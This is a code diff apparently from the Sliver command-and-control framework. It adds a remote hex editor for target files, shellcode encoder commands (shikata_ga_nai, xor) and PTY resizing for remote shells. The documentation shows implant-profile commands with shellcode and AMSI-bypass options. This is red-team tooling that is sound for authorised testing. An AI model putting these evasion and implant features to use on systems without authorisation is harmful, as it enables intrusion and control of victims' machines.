con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
return
}
if offset > 0 {
if len(data) == 0 {
con.PrintErrorf("Offset %d out of range for empty file\n", offset)
return
}
if offset >= int64(len(data)) {
con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
return
}
}
path := download.Path
if path == "" {
path = remotePath
}
for {
result, err := runHexEditor(data, path, int(offset))
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
data = result.Data
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
if err := uploadEditedContent(cmd, con, path, data); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
model := newEditorModel(data, filename, offset)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
MaxBytes: maxBytes,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func parseByteSize(input string) (int64, error) {
value := strings.TrimSpace(input)
if value == "" {
return 0, fmt.Errorf("size is required")
}
value = strings.ReplaceAll(value, " ", "")
value = strings.ToUpper(value)
idx := 0
for idx < len(value) {
c := value[idx]
if (c >= '0' && c <= '9') || c == '.' {
idx++
continue
}
break
}
if idx == 0 {
return 0, fmt.Errorf("invalid size %q", input)
}
numStr := value[:idx]
unitStr := strings.TrimSpace(value[idx:])
if unitStr == "" {
unitStr = "B"
}
multiplier := int64(1)
switch unitStr {
case "B":
multiplier = 1
case "K", "KB", "KIB":
multiplier = 1024
case "M", "MB", "MIB":
multiplier = 1024 * 1024
case "G", "GB", "GIB":
multiplier = 1024 * 1024 * 1024
case "T", "TB", "TIB":
multiplier = 1024 * 1024 * 1024 * 1024
default:
return 0, fmt.Errorf("unknown size unit %q", unitStr)
}
numVal, err := strconv.ParseFloat(numStr, 64)
if err != nil {
return 0, fmt.Errorf("invalid size %q", input)
}
if numVal <= 0 {
return 0, fmt.Errorf("size must be greater than zero")
}
size := int64(numVal * float64(multiplier))
if size <= 0 {
return 0, fmt.Errorf("size is out of range")
}
return size, nil
}
+2 -1
View File
@@ -32,12 +32,13 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
nport, _ := cmd.Flags().GetUint32("nport")
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
con.PrintInfof("Starting Wireguard listener ...\n")
con.PrintInfof("Starting Wireguard listener (udp:%d, tcp-comms:%d, key-exchange:%d) ...\n", lport, nport, keyExchangePort)
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
})
con.Println()
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
+6 -2
View File
@@ -150,11 +150,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Bool("unix", false, "interpret timestamps as Unix seconds")
f.Bool("unix-ms", false, "interpret timestamps as Unix milliseconds")
f.Bool("rfc3339", false, "interpret timestamps as RFC3339")
f.Bool("rfc1123", false, "interpret timestamps as RFC1123")
})
carapace.Gen(chtimesCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to file to change access timestamps"),
carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"),
carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"),
carapace.ActionValues().Usage("last accessed time (default: 2006-01-02 15:04:05; see --help for format flags)"),
carapace.ActionValues().Usage("last modified time (default: 2006-01-02 15:04:05; see --help for format flags)"),
)
getprivsCmd := &cobra.Command{
+7 -1
View File
@@ -46,6 +46,7 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/taskmany"
@@ -69,6 +70,10 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
HiddenDefaultCmd: true,
},
}
if !con.IsCLI {
server.SilenceErrors = true
server.SilenceUsage = true
}
// Utility function to be used for binding new commands to
// the sliver menu: call the function with the name of the
@@ -103,7 +108,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
crack.Commands,
certificates.Commands,
clean.Command,
aka.ServerCommands,
aka.ServerCommands,
)
// C2 Network
@@ -119,6 +124,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// Payloads
bind(consts.PayloadsHelpGroup,
sgn.Commands,
shellcodeencoders.Commands,
generate.Commands,
builders.Commands,
)
+97
View File
@@ -0,0 +1,97 @@
//go:build !windows
package shell
import (
"context"
"os"
"os/signal"
"sync"
"syscall"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGWINCH)
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-sigCh:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
signal.Stop(sigCh)
close(stopCh)
<-doneCh
})
}
}
+93
View File
@@ -0,0 +1,93 @@
//go:build windows
package shell
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
"os"
"sync"
"time"
)
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
if con == nil || con.Rpc == nil {
return func() {}
}
stdoutFd := int(os.Stdout.Fd())
stdinFd := int(os.Stdin.Fd())
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
return func() {}
}
stopCh := make(chan struct{})
doneCh := make(chan struct{})
go func() {
defer close(doneCh)
ticker := time.NewTicker(250 * time.Millisecond)
defer ticker.Stop()
lastCols, lastRows := -1, -1
send := func() bool {
cols, rows, err := term.GetSize(stdoutFd)
if err != nil || cols <= 0 || rows <= 0 {
cols, rows, err = term.GetSize(stdinFd)
}
if err != nil || cols <= 0 || rows <= 0 {
return true
}
if cols == lastCols && rows == lastRows {
return true
}
lastCols, lastRows = cols, rows
req := con.ActiveTarget.Request(cmd)
if req == nil {
return false
}
req.Timeout = int64(2 * time.Second)
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
Request: req,
TunnelID: tunnelID,
Rows: uint32(rows),
Cols: uint32(cols),
})
if status.Code(err) == codes.Unimplemented {
return false
}
return true
}
if !send() {
return
}
for {
select {
case <-stopCh:
return
case <-ticker.C:
if !send() {
return
}
}
}
}()
var once sync.Once
return func() {
once.Do(func() {
close(stopCh)
<-doneCh
})
}
}
+21
View File
@@ -84,10 +84,25 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: shellPath,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
@@ -120,6 +135,12 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso
}
}
stopPtyResize := func() {}
if !noPty {
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtyResize()
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
@@ -0,0 +1,55 @@
package shellcodeencoders
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the shellcode-encoders command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
shellcodeEncodersCmd := &cobra.Command{
Use: consts.ShellcodeEncodersStr,
Short: "List supported shellcode encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersCmd(cmd, con, args)
},
GroupID: consts.PayloadsHelpGroup,
}
flags.Bind("shellcode-encoders", false, shellcodeEncodersCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
shellcodeEncodersEncodeCmd := &cobra.Command{
Use: "encode <shellcode file>...",
Short: "Encode shellcode using server encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr, "encode"}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersEncodeCmd(cmd, con, args)
},
}
flags.Bind("shellcode-encoders encode", false, shellcodeEncodersEncodeCmd, func(f *pflag.FlagSet) {
f.StringP("encoder", "e", "", "encoder to use (shikata_ga_nai, xor, xor_dynamic)")
f.StringP("arch", "a", "amd64", "architecture of the shellcode")
f.IntP("iterations", "i", 1, "number of encoding iterations")
f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.StringP("output", "o", "", "output file (or directory when encoding multiple files)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(shellcodeEncodersEncodeCmd, func(comp *carapace.ActionMap) {
(*comp)["encoder"] = ShellcodeEncoderNameCompleter(con)
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
})
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
return []*cobra.Command{shellcodeEncodersCmd}
}
+166
View File
@@ -0,0 +1,166 @@
package shellcodeencoders
import (
"encoding/hex"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
// ShellcodeEncodersEncodeCmd - Encode shellcode files with server encoders.
func ShellcodeEncodersEncodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
encoderFlag, _ := cmd.Flags().GetString("encoder")
if strings.TrimSpace(encoderFlag) == "" {
con.PrintErrorf("Encoder is required (use --encoder). See %s for options.\n", consts.ShellcodeEncodersStr)
return
}
encoderName := normalizeShellcodeEncoderName(encoderFlag)
encoderEnum, ok := shellcodeEncoderEnum(encoderName)
if !ok {
con.PrintErrorf("Unknown encoder %q (see %s for supported encoders)\n", encoderFlag, consts.ShellcodeEncodersStr)
return
}
archFlag, _ := cmd.Flags().GetString("arch")
arch := normalizeShellcodeArch(archFlag)
if arch == "" {
arch = "amd64"
}
iterations, _ := cmd.Flags().GetInt("iterations")
if iterations <= 0 {
iterations = 1
}
badCharsRaw, _ := cmd.Flags().GetString("bad-chars")
badChars, err := decodeHexBytes("bad-chars", badCharsRaw)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
output, _ := cmd.Flags().GetString("output")
outputInfo, err := outputInfoForArgs(output, len(args))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
hadError := false
for _, path := range args {
data, err := os.ReadFile(path)
if err != nil {
con.PrintErrorf("Failed to read %s: %s\n", path, err)
hadError = true
continue
}
resp, err := con.Rpc.ShellcodeEncoder(grpcCtx, &clientpb.ShellcodeEncodeReq{
Encoder: encoderEnum,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: data,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Failed to encode %s: %s\n", path, err)
hadError = true
continue
}
if resp.GetResponse() != nil && resp.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to encode %s: %s\n", path, resp.GetResponse().GetErr())
hadError = true
continue
}
outputPath, err := resolveOutputPath(path, output, outputInfo, encoderName, len(args) > 1)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", path, err)
hadError = true
continue
}
if err := os.WriteFile(outputPath, resp.Data, 0o644); err != nil {
con.PrintErrorf("Failed to write %s: %s\n", outputPath, err)
hadError = true
continue
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputPath, len(resp.Data))
}
if hadError {
con.PrintWarnf("One or more files failed to encode\n")
}
}
func decodeHexBytes(label string, raw string) ([]byte, error) {
trimmed := strings.TrimSpace(raw)
trimmed = strings.TrimPrefix(trimmed, "0x")
trimmed = strings.TrimPrefix(trimmed, "0X")
trimmed = strings.ReplaceAll(trimmed, " ", "")
if trimmed == "" {
return nil, nil
}
data, err := hex.DecodeString(trimmed)
if err != nil {
return nil, fmt.Errorf("%s must be hex encoded: %w", label, err)
}
return data, nil
}
func outputInfoForArgs(output string, argCount int) (os.FileInfo, error) {
if output == "" {
return nil, nil
}
info, err := os.Stat(output)
if err != nil {
if os.IsNotExist(err) {
if argCount > 1 {
if mkErr := os.MkdirAll(output, 0o755); mkErr != nil {
return nil, fmt.Errorf("failed to create output directory %s: %w", output, mkErr)
}
info, err = os.Stat(output)
if err != nil {
return nil, fmt.Errorf("failed to stat output directory %s: %w", output, err)
}
return info, nil
}
return nil, nil
}
return nil, err
}
if argCount > 1 && !info.IsDir() {
return nil, fmt.Errorf("output must be a directory when encoding multiple files")
}
return info, nil
}
func resolveOutputPath(inputPath string, output string, outputInfo os.FileInfo, encoderName string, multiple bool) (string, error) {
suffix := "." + strings.ReplaceAll(encoderName, "_", "-")
base := filepath.Base(inputPath)
if output == "" {
return filepath.Join(filepath.Dir(inputPath), base+suffix), nil
}
if multiple {
if outputInfo == nil || !outputInfo.IsDir() {
return "", fmt.Errorf("output must be a directory when encoding multiple files")
}
return filepath.Join(output, base+suffix), nil
}
if outputInfo != nil && outputInfo.IsDir() {
return filepath.Join(output, base+suffix), nil
}
return output, nil
}
@@ -0,0 +1,103 @@
package shellcodeencoders
import (
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/rsteube/carapace"
)
var shellcodeEncoderNameToEnum = map[string]clientpb.ShellcodeEncoder{
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
"xor": clientpb.ShellcodeEncoder_XOR,
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func shellcodeEncoderEnum(name string) (clientpb.ShellcodeEncoder, bool) {
normalized := normalizeShellcodeEncoderName(name)
encoder, ok := shellcodeEncoderNameToEnum[normalized]
return encoder, ok
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
// ShellcodeEncoderNameCompleter returns available encoder names with supported arches.
func ShellcodeEncoderNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
nameArchs := map[string][]string{}
for arch, archMap := range encoderMap.GetEncoders() {
if archMap == nil {
continue
}
for name := range archMap.GetEncoders() {
nameArchs[name] = append(nameArchs[name], arch)
}
}
names := make([]string, 0, len(nameArchs))
for name := range nameArchs {
names = append(names, name)
}
sort.Strings(names)
results := []string{}
for _, name := range names {
arches := nameArchs[name]
sort.Strings(arches)
desc := fmt.Sprintf("(%s)", strings.Join(arches, ", "))
results = append(results, name, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("shellcode encoders")
})
}
// ShellcodeEncoderArchCompleter returns available architectures.
func ShellcodeEncoderArchCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
return carapace.ActionValues(arches...).Tag("shellcode architectures")
})
}
@@ -0,0 +1,65 @@
package shellcodeencoders
import (
"sort"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
// ShellcodeEncodersCmd - Display supported shellcode encoders and architectures.
func ShellcodeEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
encoderMap, err := con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
DisplayShellcodeEncoders(encoderMap, con)
}
// DisplayShellcodeEncoders - Display shellcode encoder map from server.
func DisplayShellcodeEncoders(encoderMap *clientpb.ShellcodeEncoderMap, con *console.SliverClient) {
if encoderMap == nil || len(encoderMap.GetEncoders()) == 0 {
con.PrintInfof("No shellcode encoders available\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Arch", "Encoder", "Description"})
tw.SortBy([]table.SortBy{
{Name: "Arch", Mode: table.Asc},
{Name: "Encoder", Mode: table.Asc},
})
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
for _, arch := range arches {
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
continue
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
desc := archMap.GetDescriptions()[name]
tw.AppendRow(table.Row{arch, name, desc})
}
}
con.Println(tw.Render())
}
+9 -1
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/edit"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
@@ -48,6 +49,7 @@ import (
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/wasm"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/command/hexedit"
client "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/reeflective/console"
@@ -63,6 +65,10 @@ func SliverCommands(con *client.SliverClient) console.Commands {
HiddenDefaultCmd: true,
},
}
if !con.IsCLI {
sliver.SilenceErrors = true
sliver.SilenceUsage = true
}
// Utility function to be used for binding new commands to
// the sliver menu: call the function with the name of the
@@ -79,7 +85,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// use.Commands,
tasks.Commands,
pivots.Commands,
aka.ImplantCommands,
aka.ImplantCommands,
)
// [ Info ]
@@ -94,6 +100,8 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// [ Filesystem ]
bind(consts.FilesystemHelpGroup,
edit.Commands,
hexedit.Commands,
filesystem.Commands,
)
+4 -1
View File
@@ -220,6 +220,8 @@ const (
CdStr = "cd"
PwdStr = "pwd"
CatStr = "cat"
EditStr = "edit"
HexEditStr = "hex-edit"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
@@ -297,7 +299,8 @@ const (
GetPrivsStr = "getprivs"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
ShikataGaNai = "shikata-ga-nai"
ShellcodeEncodersStr = "shellcode-encoders"
Cursed = "cursed"
CursedChrome = "chrome"
+8
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/leaky"
"golang.org/x/time/rate"
)
var (
@@ -210,6 +211,8 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize)
func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) {
// Client Rate Limiter: 10 operations per second, burst of 1
limiter := rate.NewLimiter(rate.Limit(10), 1)
SocksConnPool.Store(frame.TunnelID, conn)
@@ -241,6 +244,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
return
}
if n > 0 {
if err := limiter.Wait(context.Background()); err != nil {
log.Printf("[socks] rate limiter error: %s", err)
return
}
frame.Data = buff[:n]
frame.Sequence = ToImplantSequence
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
+2
View File
@@ -64,6 +64,8 @@ func commonFormatOptions(goos string) []huh.Option[string] {
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
} else if goos == "darwin" {
options = append(options, huh.NewOption("Shellcode", "shellcode"))
}
return options
}
@@ -39,7 +39,7 @@
- [Viber](/docs?name=Notifications#viber)
- [Web Push](/docs?name=Notifications#web-push)
- [WeChat](/docs?name=Notifications#wechat)
- [WhatsApp](/docs?name=Notifications#whatsapp)
- [WhatsApp](/docs?name=Notifications#whatsapp)
- [Custom Templates](/docs?name=Notifications#custom-templates)
- [Notes](/docs?name=Notifications#notes)
+17
View File
@@ -33,6 +33,23 @@ Name Platform Command & Control Debug Format
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
```
You can tune shellcode options for shellcode profiles (Windows: Donut):
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt
- `--shellcode-compress`: enable/disable aPLib compression (boolean)
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue
- `--shellcode-headers`: 1=overwrite, 2=keep
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
- `--shellcode-oep`: override original entry point (uint32, 0=default)
Example:
```
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
```
We can now create a staging listener and link it to the profile:
```
@@ -138,7 +138,7 @@
[14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
[14.182566, "o", "\u001b[0 q\r\n"]
[14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
